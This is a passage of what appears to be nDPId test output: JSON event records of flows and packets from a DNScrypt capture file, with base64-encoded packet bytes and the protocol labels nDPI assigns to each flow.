AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":426,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":44469,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":427,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":45815,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":177,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756596,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwiZAAL0R5K0KAAABuf2aQrL3EPcCCBcWY0sBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":427,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":45815,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":428,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756609,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwiUAub0RJcIKAAABuf2aQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":428,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":43540,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":178,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756620,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwidAAL0R5KwKAAABuf2aQqoUEPcCCBcWY0kBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":429,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":43540,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":430,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":48159,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":179,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756689,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwiggAL0RAOwKAAABuf2aQrwfEPcGBB7tY0gBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":430,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":48159,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":431,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756709,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwigAub0RJb8KAAABuf2aQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":431,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":432,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":38482,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":180,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756792,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwikgAL0RAOsKAAABuf2aQpZSEPcGBES4Y0oBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":432,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":38482,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":433,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756812,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwikAub0RJb4KAAABuf2aQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":433,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00668{"flow_id":177,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":800047,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTW7dAADkR0Ga5\/ZpCCgAAARD3svcAv+AkY0uBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} +00669{"flow_id":175,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":800211,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTW7hAADkR0GW5\/ZpCCgAAARD3lzUAv\/vqY0eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} +00668{"flow_id":178,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":803804,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTW7pAADkR0GO5\/ZpCCgAAARD3qhQAv+kJY0mBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} +00668{"flow_id":176,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":804292,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTW7lAADkR0GS5\/ZpCCgAAARD3rbUAv+VrY0aBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} +00669{"flow_id":180,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805526,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTW7xAADkR0GG5\/ZpCCgAAARD3llIAv\/zKY0qBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} +00669{"flow_id":179,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805555,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTW7tAADkR0GK5\/ZpCCgAAARD3vB8Av9b\/Y0iBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":440,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":51647,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":181,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805654,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIclaRAAL0RCvwKAAABjgTMb8m\/AbsCCB1KEX8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA